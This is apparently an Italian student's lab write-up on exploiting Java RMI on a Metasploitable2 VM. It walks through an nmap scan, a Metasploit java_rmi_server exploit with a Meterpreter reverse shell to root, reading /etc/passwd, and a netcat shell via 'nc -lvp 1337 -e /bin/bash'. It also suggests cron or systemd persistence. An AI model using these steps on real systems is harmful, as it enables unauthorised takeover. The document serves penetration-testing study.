BENCHMARK MODULO 4

Java RMI exploit privilege escalation

Ottenimento di una sessione Meterpreter con privilegi root in una macchina metasploitable2

Cambio degli Indirizzi IP di Kali Linux e Metasploitable 2

Nell'ambito di questo esercizio, ho proceduto al cambiamento degli indirizzi IP di Kali Linux e di Metasploitable 2, seguendo le specifiche indicate. Questo è stato necessario per adattare l'ambiente di laboratorio alle esigenze dell'esercizio stesso.

Passaggi Seguiti:

Configurazione di Kali Linux:

Per cambiare l'indirizzo IP di Kali Linux, ho modificato il file di configurazione dell'interfaccia di rete, usando il seguente comando:

sudo nano /etc/network/interfaces

Ho modificato l'indirizzo IP dell'interfaccia di rete desiderata per corrispondere all'indirizzo IP richiesto (192.168.11.111) e ho riavviato il servizio di rete per applicare le modifiche.

Configurazione di Metasploitable 2:

Per cambiare l'indirizzo IP di Kali Linux, ho modificato il file di configurazione dell'interfaccia di rete usando il seguente comando:

sudo nano /etc/network/interfaces

Ho modificato l'indirizzo IP dell'interfaccia di rete desiderata per corrispondere all'indirizzo IP richiesto (192.168.11.112) e ho riavviato la macchina per rendere le impostazioni attive.

Verifica della Connessione:

Dopo aver configurato gli indirizzi IP come descritto sopra, ho verificato la corretta connessione tra le due macchine. Per farlo, ho eseguito i seguenti comando su entrambe le macchine:

Da Kali Linux a Metasploitable 2: Ho eseguito ping 192.168.11.112. Da Metasploitable 2 a Kali Linux: Ho eseguito ping 192.168.11.111.

La verifica dei ping ha confermato con successo che le macchine possono comunicare tra loro sulla rete locale.

Screen dove Kali comunica correttamente con la macchina Metasploitable2

```
-(kali⊕kali)-[~]
__$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.10 netmask 255.255.255.0 broadcast 192.168.1.255
        inet6 fe80::a00:27ff:fedd:bbff prefixlen 64 scopeid 0×20<link>
        ether 08:00:27:dd:bb:ff txqueuelen 1000 (Ethernet)
        RX packets 256 bytes 34922 (34.1 KiB)
        RX errors 0 dropped 0 overruns 0 frame 0
        TX packets 68 bytes 14078 (13.7 KiB)
        TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
        inet 127.0.0.1 netmask 255.0.0.0
        inet6 :: 1 prefixlen 128 scopeid 0×10<host>
        loop txqueuelen 1000 (Local Loopback)
        RX packets 4679 bytes 698414 (682.0 KiB)
        RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4679 bytes 698414 (682.0 KiB)
        TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  —(kali⊕kali)-[~]
$ sudo nano /etc/network/interfaces
[sudo] password for kali:
  -(kali®kali)-[~]
└─$ <u>sudo</u> systemctl restart networking
  —(kali⊕kali)-[~]
$ ping 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=0.209 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=0.154 ms
^X64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=0.156 ms
— 192.168.11.112 ping statistics —
3 packets transmitted, 3 received, 0% packet loss, time 2026ms
rtt min/avg/max/mdev = 0.154/0.173/0.209/0.025 ms
```

Ifconfig dopo l'edit del file interfaces:

```
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.11.111 netmask 255.255.255.0 broadcast 192.168.11.255
    inet6 fe80::a00:27ff:fedd:bbff prefixlen 64 scopeid 0×20<link>
    ether 08:00:27:dd:bb:ff txqueuelen 1000 (Ethernet)
    RX packets 5422 bytes 461508 (450.6 KiB)
    RX errors 0 dropped 1 overruns 0 frame 0
    TX packets 3779 bytes 419641 (409.8 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0×10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 165474 bytes 43587982 (41.5 MiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 165474 bytes 43587982 (41.5 MiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Sfruttamento della Vulnerabilità Java RMI con Metasploit

0.5. Scansione di nmap sulla macchina Metasploitable2

Ovviamente, non dovremmo essere a conoscenza della vulnerabilità del servizio, quindi si inizia con una scansione nmap per individuare contro che target abbiamo a che fare e quali servizi sono attivi e con quale versione (e su quale porta sono eventualmente attivi)

Nmap -sV -p 1-1200 192.168.11.112

```
-(kali⊕kali)-[~]
-$ nmap -sV -p 1-1200 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-02 08:57 EDT
Stats: 0:00:05 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan
Parallel DNS resolution of 1 host. Timing: About 0.00% done
Nmap scan report for 192.168.11.112
Host is up (0.00014s latency).
Not-shown: 1187 closed tcp ports (conn-refused)
         STATE SERVICE
PORT
                            VERSION
21/tcp
         open ftp
                            vsftpd 2.3.4
         open ssh
22/tcp
                            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp
         open telnet
                            Linux telnetd
25/tcp
                            Postfix smtpd
         open smtp
53/tcp
         open
               domain
                            ISC BIND 9.4.2
        open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
open rpcbind 2 (RPC #100000)
80/tcp
111/tcp
        open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
139/tcp
445/tcp
512/tcp
               exec
                            netkit-rsh rexecd
         open
513/tcp
         open login?
514/tcp open shell
                            Netkit rshd
                            GNU Classpath grmiregistry
1099/tcp open
               java-rmi
Service Info: Host: metasploitable.localdomain; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.30 seconds
   (kali⊕kali)-[~]
```

La scansione rivela che la porta 1099 accetta connessioni e ha un servizio "Java-rmi" attivo in ascolto, scopriamo anche l'OS (unix) della macchina target.

Java RMI Server Insecure Default Configuration Remote Code Execution Vulnerability riguarda diversi prodotti Java che implementano il server RMI (Remote Method Invocation). Questa vulnerabilità può permettere a un attaccante remoto non autenticato di eseguire codice arbitrario su un sistema bersaglio con privilegi elevati.

1. Avvio di Metasploit:

Per iniziare, ho avviato Metasploit dalla mia macchina attaccante, utilizzando il comando *msfconsole*. Questo ha aperto l'interfaccia della console Metasploit, pronta per l'uso dopo l'inserimento della password di root.

```
$ sudo msfdb init && msfconsole
[sudo] password for kali:
i] Database already started
[i] The database appears to be already configured, skipping initialization
Metasploit tip: You can upgrade a shell to a Meterpreter session on many
platforms using sessions -u <session_id>
                      ммммм
      MMMMM
     MMMMMMN
      MMMMM
             MMMMMMM
                      MMMMM
      MMMMM
      MMMNM
             MMMMMMM
                      MMMMM
      MMMMM
                      MMMM#
             MMMMMMM
      ?MMNM
                      MMMMM
      `?MMM
                      MMMM `
                      MM? NMMMMMN
       ?MM
       https://metasploit.com
      =[ metasploit v6.3.43-dev
    --=[ 2376 exploits - 1232 auxiliary - 416 post
    --=[ 1391 payloads - 46 encoders - 11 nops
    --=[ 9 evasion
Metasploit Documentation: https://docs.metasploit.com/
msf6 >
```

2. Selezione del Modulo di Sfruttamento:

Una volta aperto Metasploit, ho utilizzato il comando search per cercare moduli di sfruttamento relativi a Java RMI. Questo comando permette di cercare all'interno del vasto database di Metasploit per trovare moduli pertinenti a una specifica vulnerabilità o servizio. Nella nostra ricerca, abbiamo individuato il modulo "exploit/multi/misc/java_rmi_server" come adatto per la vulnerabilità Java RMI sulla porta 1099.

3. Selezione del Modulo e Impostazione delle Opzioni:

Dopo aver individuato il modulo appropriato, ho utilizzato il comando *use 3* per selezionarlo all'interno di Metasploit. Una volta selezionato, ho impostato l'indirizzo IP della macchina Metasploitable come target utilizzando il comando *set RHOST*. Questo passaggio è essenziale per configurare correttamente il target da colpire con il nostro exploit.

```
Interact with a module by name or index. For example info 13, use 13 or use exploit/linux/local/vcenter_java_
msf6 > use 3
No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(
Module options (exploit/multi/misc/java_rmi_server):
                                      Current Setting Required Description
       Name
                                                                                                                 Time that the HTTP Server will wait for the payload request
       HTTPDELAY
                                    10
                                                                                     ves
                                                                                                                 The target host(s), see https://docs.metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metasploit.com/docs/using-metaspl
        RHOSTS
                                                                                     yes
        RPORT
                                      1099
                                                                                     yes
                                                                                     yes
        SRVHOST
                                      0.0.0.0
                                                                                                                 The local host or network interface to listen on. This must be an add
        SRVPORT
                                      8080
                                                                                                                 The local port to listen on.
                                                                                                                 Negotiate SSL for incoming connections
                                      false
                                                                                     no
        SSLCert
                                                                                                                 Path to a custom SSL certificate (default is randomly generated)
                                                                                    no
                                                                                                                 The URI to use for this exploit (default is random)
        URIPATH
Payload options (java/meterpreter/reverse_tcp):
                         Current Setting Required Description
        LHOST 192.168.11.111 yes
LPORT 4444 yes
                                                                                                      The listen address (an interface may be specified)
                                                                                                      The listen port
Exploit target:
        Id Name
                 Generic (Java Payload)
View the full module info with the info, or info -d command.
                                                                       wa_rmi_server) > set RHOST 192.168.11.112
msf6 exploit(
```

4. Esecuzione dell'Exploit:

Una volta configurato il modulo con l'indirizzo IP della macchina vittima, ho eseguito l'exploit utilizzando il comando exploit. Questo comando ha avviato l'azione di sfruttamento della vulnerabilità Java RMI sulla macchina Metasploitable. Metasploit ha automatizzato il processo di sfruttamento della vulnerabilità, cercando di ottenere un accesso non autorizzato alla macchina vittima.

5. Ottenimento della Sessione Meterpreter:

Dopo aver eseguito con successo l'exploit, Metasploit ha sfruttato la vulnerabilità Java RMI sulla macchina Metasploitable e ha ottenuto una sessione Meterpreter. Questo tipo di sessione fornisce all'attaccante un elevato livello di controllo sulla macchina remota, consentendo di eseguire una vasta gamma di comandi e azioni.

```
View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set RHOST 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444

[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/cWJeg2xhB3VpH6

[*] 192.168.11.112:1099 - Server started.

[*] 192.168.11.112:1099 - Sending RMI Header...

[*] 192.168.11.112:1099 - Sending RMI Call...

[*] 192.168.11.112:1099 - Replied to request for payload JAR

[*] Sending stage (57692 bytes) to 192.168.11.112

[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:36937) at 2024-06-02 09:06:53 -0400

meterpreter > ■
```

Raccolta di Evidenze dalla Macchina Remota

1. Configurazione di Rete:

Una volta ottenuta una sessione remota Meterpreter sulla macchina vittima, è importante raccogliere informazioni sulla configurazione di rete della macchina remota. Questo può includere dettagli come l'indirizzo IP, il gateway predefinito, il subnet mask e altri parametri di rete pertinenti. Utilizzando i comandi appropriati all'interno di Meterpreter, è possibile estrarre queste informazioni per comprendere meglio l'ambiente di rete della macchina vittima.

Tramite il comando *ifconfig* otteremo dettagli sulla configurazione network della macchina.

```
Interface 1

Name : lo - lo
Hardware MAC : 00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2

Name : eth0 - eth0
Hardware MAC : 00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe1d:d6e8
IPv6 Netmask : ::
```

2. Informazioni sulla Tabella di Routing della Macchina Vittima:

Oltre alla configurazione di rete, è essenziale raccogliere informazioni sulla tabella di routing della macchina vittima. La tabella di routing contiene dettagli su come il traffico di rete viene instradato all'interno della rete della macchina vittima. Questo può essere cruciale per comprendere il percorso che il traffico di rete prende attraverso la rete, identificare eventuali gateway o rotte specifiche e valutare la topologia di rete complessiva. Anche, prendiamo le informazioni del sistema.

```
meterpreter > route
IPv4 network routes
    Subnet
                                   Gateway Metric Interface
                    Netmask
    127.0.0.1
                    255.0.0.0
                                   0.0.0.0
    192.168.11.112
                   255.255.255.0 0.0.0.0
IPv6 network routes
                                                        Interface
   Subnet
                              Netmask
                                       Gateway
                                                Metric
    :: 1
    fe80::a00:27ff:fe1d:d6e8
meterpreter >
```

```
<u>meterpreter</u> > sysinfo
               : metasploitable
Computer
os
                : Linux 2.6.24-16-server (i386)
Architecture
               : x86
System Language : en_US
                : java/linux
Meterpreter
meterpreter > cd sys
meterpreter > ls
Listing: /sys
                  Size Type Last modified
Mode
                                                            Name
040666/rw-rw-rw-
                  0
                         dir
                               2024-06-02 08:54:19 -0400
                                                            block
                               2024-06-02 08:54:17 -0400
040666/rw-rw-rw-
                  0
                         dir
                                                            bus
                               2024-06-02 08:54:19 -0400
040666/rw-rw-rw- 0
                                                            class
040666/rw-rw-rw- 0
                         dir
                               2024-06-02 08:54:13 -0400
                                                            devices
                               2024-06-02 08:54:16 -0400
040666/rw-rw-rw- 0
                         dir
                                                            firmware
                               2024-06-02 08:54:13 -0400
040666/rw-rw-rw-
                         dir
                                                            fs
                               2024-06-02 08:54:13 -0400
040666/rw-rw-rw-
                  0
                         dir
                                                            kernel
                               2024-06-02 09:24:23 -0400
040666/rw-rw-rw- 0
                         dir
                                                            module
040666/rw-rw-rw- 0
                         dir
                               2024-06-02 08:54:16 -0400
                                                            power
040666/rw-rw-rw-
                  0
                               2024-06-02 09:24:23 -0400
                         dir
                                                            slab
<u>meterpreter</u> > whoami
   Unknown command: whoami
<u>meterpreter</u> > shell
Process 1 created.
Channel 1 created.
whoami
root
```

Si può accedere al telnet:

```
telnet 192.168.11.112
Trying 192.168.11.112...
Connected to 192.168.11.112.
Escape character is '^]'.
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
metasploitable login: msfadmin
msfadmin
Password: msfadmin
Last login: Sun Jun 2 08:56:14 EDT 2024 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ whoami
whoami
msfadmin
msfadmin@metasploitable:~$
```

cat /etc/passwd

```
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No/mail.
msfadmin@metasploitable:~$ whoami
whoami
msfadmin
msfadmin@metasploitable:~$ cat /etc/passwd
cat//etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
msfadmin@metasploitable:~$
```

Non che abbia molto senso, visto che ho gia una sessione root attiva tramite meterpreter con pieni controlli sulla macchina target, ma per la scienza posso anche creare una shell in ascolto su una porta a mia scelta (1337) dove posso connettermi tramite netcat. Nel caso si volesse ottenere della persistenza nella macchina target si potrebbe pensare all'ultilizzo di **cron** e **systemd** per autoavviare una shell in ascolto alla partenza della macchina.

```
nc -lvp 1337 -e /bin/bash
listening on [any] 1337 ...
192.168.11.111: inverse host lookup failed: Host name lookup failure
connect to [192.168.11.112] from (UNKNOWN) [192.168.11.111] 41490
```

```
nnt®kali)-[/home/kali]
   nc 192.168.11.112 1337
whoami
root
ifconfig
eth0
         Link encap:Ethernet HWaddr 08:00:27:1d:d6:e8
         inet addr:192.168.11.112 Bcast:192.168.11.255 Mask:255.255.255.0
         inet6 addr: fe80::a00:27ff:fe1d:d6e8/64 Scope:Link
         UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
         RX packets:4575 errors:0 dropped:0 overruns:0 frame:0
         TX packets:3281 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:1000
         RX bytes:499049 (487.3 KB) TX bytes:244361 (238.6 KB)
         Base address:0×d020 Memory:f0200000-f0220000
lo
         Link encap:Local Loopback
         inet addr:127.0.0.1 Mask:255.0.0.0
         inet6 addr: ::1/128 Scope:Host
         UP LOOPBACK RUNNING MTU:16436 Metric:1
         RX packets:510 errors:0 dropped:0 overruns:0 frame:0
         TX packets:510 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:0
         RX bytes:172273 (168.2 KB) TX bytes:172273 (168.2 KB)
```

Per pietà decido di concludere questo benchmark riavviando la macchina di metasploitable2 dalla reverse shell attiva su kali creata tramite shell su meta spawnata da meterpreter (che è un payload che fa gia una reverse shell), un reverse shell inception praticamente!

